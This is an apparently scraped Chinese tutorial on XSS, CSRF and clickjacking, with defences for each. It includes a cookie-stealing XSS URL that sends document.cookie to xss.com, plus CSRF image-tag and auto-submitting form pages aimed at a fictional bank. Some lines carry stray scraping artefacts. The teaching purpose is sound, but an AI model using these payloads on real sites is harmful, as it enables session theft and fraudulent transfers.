Web安全的三个攻防姿式

声明:此文为以前的几篇子文的合并整理和扩充复制代码

关于前端Web安全的问题,是一个老生常谈的问题,做为离用户最近的一层,咱们大前端确实须要把手伸的更远一点。javascript

咱们最多见的Web安全攻击有如下几种php

  • XSS 跨站脚本攻击
  • CSRF 跨站请求伪造
  • clickjacking 点击劫持/UI-覆盖攻击

下面咱们来一一分析css

XSS 跨站脚本攻击

跨站脚本攻击(Cross Site Scripting),为了避免和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。html

实验

对本站点作个试验:前端

若是你点击我依然能看见你的cookie,说明本站点存在 XSS 风险java

分类

  1. Reflected XSS(基于反射的XSS攻击)
  2. Stored XSS(基于存储的XSS攻击)
  3. DOM-based or local XSS(基于DOM或本地的XSS攻击)

Reflected XSS(基于反射的XSS攻击)

主要经过利用系统反馈行为漏洞,并欺骗用户主动触发,从而发起Web攻击。
举个栗子:web

  1. 假设,在严选网站搜索商品,当搜索不到时站点会作“xxx未上架提示”。以下图。

  1. 在搜索框搜索内容,填入“”, 点击搜索。数据库

  2. 当前端页面没有对填入的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。后端

(固然上图是模拟的)浏览器

以上3步只是“自娱自乐”,XSS最关键的是第四步。

  1. 进而能够构造获取用户cookies的地址,经过QQ群或者垃圾邮件,来让其余人点击这个地址:
http://you.163.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>复制代码
  1. 若是受骗的用户恰好已经登陆过严选网站,那么,用户的登陆cookie信息就已经发到了攻击者的服务器(xss.com)了。固然,攻击者会作一些更过度的操做。

Stored XSS(基于存储的XSS攻击)

Stored XSS和Reflected XSS的差异就在于,具备攻击性的脚本被保存到了服务器而且能够被普通用户完整的从服务的取得并执行,从而得到了在网络上传播的能力。

再举个栗子:

  1. 发一篇文章,里面包含了恶意脚本
    你好!当你看到这段文字时,你的信息已经不安全了!<script>alert('xss')</script>复制代码
  2. 后端没有对文章进行过滤,直接保存文章内容到数据库。

  3. 当其余读者看这篇文章的时候,包含的恶意脚本就会执行。

tips:文章是保存整个HTML内容的,前端显示时候也不作过滤,就很可能出现这种状况。
此为题多从在于博客网站。

若是咱们的操做不只仅是弹出一个信息,并且删除一篇文章,发一篇反动的文章,或者成为个人粉丝而且将这篇带有恶意脚本的文章转发,这样是否是就具备了攻击性。

DOM-based or local XSS(基于DOM或本地的XSS攻击)

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可使程序和脚本可以动态访问和更新文档的内容、结构以及样式。

DOM型XSS实际上是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。能够经过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就能够利用JS脚原本实现XSS漏洞的利用。

可能触发DOM型XSS的属性:
document.referer属性
window.name属性
location属性
innerHTML属性
documen.write属性
······

总结

XSS攻击的本质就是,利用一切手段在目标用户的浏览器中执行攻击脚本。

防范

对于一切用户的输入、输出、客户端的输出内容视为不可信,在数据添加到DOM或者执行了DOM API的时候,咱们须要对内容进行HtmlEncode或JavaScriptEncode,以预防XSS攻击。

具体实施,请参考此篇博文http://www.cnblogs.com/lovesong/p/5211667.html

CSRF 跨站请求伪造

跨站请求伪造 CSRF(Cross-site request forgery),也被称为“One Click Attack”或者Session Riding,一般缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS很是不一样,XSS利用站点内的信任用户,而CSRF则经过假装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击每每不大流行(所以对其进行防范的资源也至关稀少)和难以防范,因此被认为比XSS更具危险性。但每每同XSS一同做案!

CSRF能够作什么?

你这能够这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF可以作的事情包括:以你名义发送邮件,发消息,盗取你的帐号,甚至于购买商品,虚拟货币转帐......形成的问题包括:我的隐私泄露以及财产安全。

CSRF漏洞现状

CSRF这种攻击方式在2000年已经被国外的安全人员提出,但在国内,直到06年才开始被关注,08年,国内外的多个大型社区和交互网站分别爆出CSRF漏洞,如:NYTimes.com(纽约时报)、Metafilter(一个大型的BLOG网站),YouTube和百度HI......而如今,互联网上的许多站点仍对此毫无防备,以致于安全业界称CSRF为“沉睡的巨人”。

CSRF的原理

下图简单阐述了CSRF攻击的思想:

从上图能够看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤:

  1. 登陆受信任网站A,并在本地生成Cookie。
  2. 在不登出A的状况下,访问危险网站B。

看到这里,你也许会说:“若是我不知足以上两个条件中的一个,我就不会受到CSRF的攻击”。是的,确实如此,但你不能保证如下状况不会发生:   

  1. 你不能保证你登陆了一个网站后,再也不打开一个tab页面并访问另外的网站。
  2. 你不能保证你关闭浏览器了后,你本地的Cookie马上过时,你上次的会话已经结束。(事实上,关闭浏览器不能结束一个会话,但大多数人都会错误的认为关闭浏览器就等于退出登陆/结束会话了......)
  3. 上图中所谓的攻击网站,多是一个存在其余漏洞的可信任的常常被人访问的网站。

示例

上面大概地讲了一下CSRF攻击的思想,下面我将用几个例子详细说说具体的CSRF攻击,这里我以一个银行转帐的操做做为例子(仅仅是例子,真实的银行网站没这么傻:>)

示例1

银行网站A,它以GET请求来完成银行转帐的操做,如:www.mybank.com/Transfer.ph…
危险网站B,它里面有一段HTML的代码以下:

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>复制代码

首先,你登陆了银行网站A,而后访问危险网站B,噢,这时你会发现你的银行帐户少了1000块......

为何会这样呢?缘由是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的以前,你已经登陆了银行网站A,而B中的以GET的方式请求第三方资源(这里的第三方就是指银行网站了,本来这是一个合法的请求,但这里被不法分子利用了),因此你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源

http://www.mybank.com/Transfer.php?toBankId=11&money=1000复制代码

结果银行网站服务器收到请求后,认为这是一个更新资源操做(转帐操做),因此就马上进行转帐操做......

示例2

为了杜绝上面的问题,银行决定改用POST请求完成转帐操做。
银行网站A的WEB表单以下:

<form action="Transfer.php" method="POST">
    <p>ToBankId: <input type="text" name="toBankId"/></p>
    <p>Money: <input type="text" name="money"/></p>
    <p><input type="submit" value="Transfer"/></p>
</form>复制代码

后台处理页面Transfer.php以下:

<?php
    session_start();
    if (isset($_REQUEST['toBankId'] && isset($_REQUEST['money']))
    {
        buy_stocks($_REQUEST['toBankId'], $_REQUEST['money']);
    }
?>复制代码

危险网站B,仍然只是包含那句HTML代码:

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>复制代码

和示例1中的操做同样,你首先登陆了银行网站A,而后访问危险网站B,结果.....和示例1同样,你再次没了1000块~T_T,此次事故的缘由是:银行后台使用了$_REQUEST去获取请求的数据,而$_REQUEST既能够获取GET请求的数据,也能够获取POST请求的数据,这就形成了在后台处理程序没法区分这究竟是GET请求的数据仍是POST请求的数据。在PHP中,可使用$_GET和$_POST分别获取GET请求和POST请求的数据。在JAVA中,用于获取请求数据request同样存在不能区分GET请求数据和POST数据的问题。

示例3

通过前面2个惨痛的教训,银行决定把获取请求数据的方法也改了,改用$_POST,只获取POST请求的数据,后台处理页面Transfer.php代码以下:

<?php
    session_start();
    if (isset($_POST['toBankId'] && isset($_POST['money']))
    {
        buy_stocks($_POST['toBankId'], $_POST['money']);
    }
  ?>复制代码

  然而,危险网站B与时俱进,它改了一下代码:

<html>
  <head>
    <script type="text/javascript">
      function steal()
      {
               iframe = document.frames["steal"];
               iframe.document.Submit("transfer");
      }
    </script>
  </head>

  <body onload="steal()">
    <iframe name="steal" display="none">
      <form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
        <input type="hidden" name="toBankId" value="11">
        <input type="hidden" name="money" value="1000">
      </form>
    </iframe>
  </body>
</html>复制代码

若是用户还是继续上面的操做,很不幸,结果将会是再次不见1000块......由于这里危险网站B暗地里发送了POST请求到银行!
  
总结一下上面3个例子,CSRF主要的攻击模式基本上是以上的3种,其中以第1,2种最为严重,由于触发条件很简单,一个就能够了,而第3种比较麻烦,须要使用JavaScript,因此使用的机会会比前面的少不少,但不管是哪一种状况,只要触发了CSRF攻击,后果都有可能很严重。
  
理解上面的3种攻击模式,其实能够看出,CSRF攻击是源于WEB的隐式身份验证机制!WEB的身份验证机制虽然能够保证一个请求是来自于某个用户的浏览器,但却没法保证该请求是用户批准发送的!

当前防护 CSRF 的几种策略

在业界目前防护 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。下面就分别对这三种策略进行详细介绍。

验证 HTTP Referer 字段

利用HTTP头中的Referer判断请求来源是否合法。

优势:简单易行,只须要在最后给全部安全敏感的请求统一增长一个拦截器来检查 Referer 的值就能够。特别是对于当前现有的系统,不须要改变当前系统的任何已有代码和逻辑,没有风险,很是便捷。

缺点:
一、Referer 的值是由浏览器提供的,不可全信,低版本浏览器下Referer存在伪造风险。
二、用户本身能够设置浏览器使其在发送请求时再也不提供 Referer时,网站将拒绝合法用户的访问。

在请求地址中添加 token 并验证

在请求中放入黑客所不能伪造的信息,而且该信息不存在于 cookie 之中,以HTTP请求参数的形式加入一个随机产生的 token交由服务端验证

优势:比检查 Referer 要安全一些,而且不涉及用户隐私。
缺点:对全部请求都添加token比较困难,难以保证 token 自己的安全,依然会被利用获取到token

在 HTTP 头中自定义属性并验证+One-Time Tokens

将token放到 HTTP 头中自定义的属性里。经过 XMLHttpRequest 的异步请求交由后端校验,而且一次有效。

优势:统一管理token输入输出,能够保证token的安全性
缺点:有局限性,没法在非异步的请求上实施

点击劫持

点击劫持,英文名clickjacking,也叫UI覆盖攻击,攻击者会利用一个或多个透明或不透明的层来诱骗用户支持点击按钮的操做,而实际的点击确实用户看不到的一个按钮,从而达到在用户不知情的状况下实施攻击。

这种攻击方式的关键在于能够实现页中页的<iframe />标签,而且可使用css样式表将他不可见

如以上示意图的蓝色层,攻击者会经过必定的手段诱惑用户“在红色层”输入信息,但用户实际上实在蓝色层中,以此作欺骗行为。

拿支付宝作个栗子

上图是支付宝手机话费充值的界面。

再看看一下界面

是的,这个是我伪造的,若是我将真正的充值站点隐藏在此界面上方。我想,聪明的你已经知道clickjacking的危险性了。

上图我估计作了一下错位和下降透明度,是否是颇有意思呢?傻傻分不清的用户还觉得是领取了奖品,实际上是给陌生人充值了话费。

盗号是把好手

这种方法最多见的攻击场景是伪造一些网站盗取账号信息,如支付宝、QQ、网易账号等账号的帐密

目前,clickjacking还算比较冷门,不少安全意识不强的网站还未着手作clickjacking的防范。这是很危险的。

防范

防止点击劫持有两种主要方法:

X-FRAME-OPTIONS

X-FRAME-OPTIONS是微软提出的一个http头,指示浏览器不容许从其余域进行取景,专门用来防护利用iframe嵌套的点击劫持攻击。而且在IE八、Firefox3.六、Chrome4以上的版本均能很好的支持。
这个头有三个值:
DENY // 拒绝任何域加载
SAMEORIGIN // 容许同源域下加载
ALLOW-FROM // 能够定义容许frame加载的页面地址

顶层判断

在UI中采用防护性代码,以确保当前帧是最顶层的窗口
方法有多中,如

top != self || top.location != self.location || top.location != location复制代码

有关Clickjacking防护的更多信息,请参阅Clickjacking Defense Cheat Sheet.

参考

  1. 浅谈CSRF攻击方式 - http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html
  2. CSRF 攻击的应对之道 - https://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/
相关文章
相关标签/搜索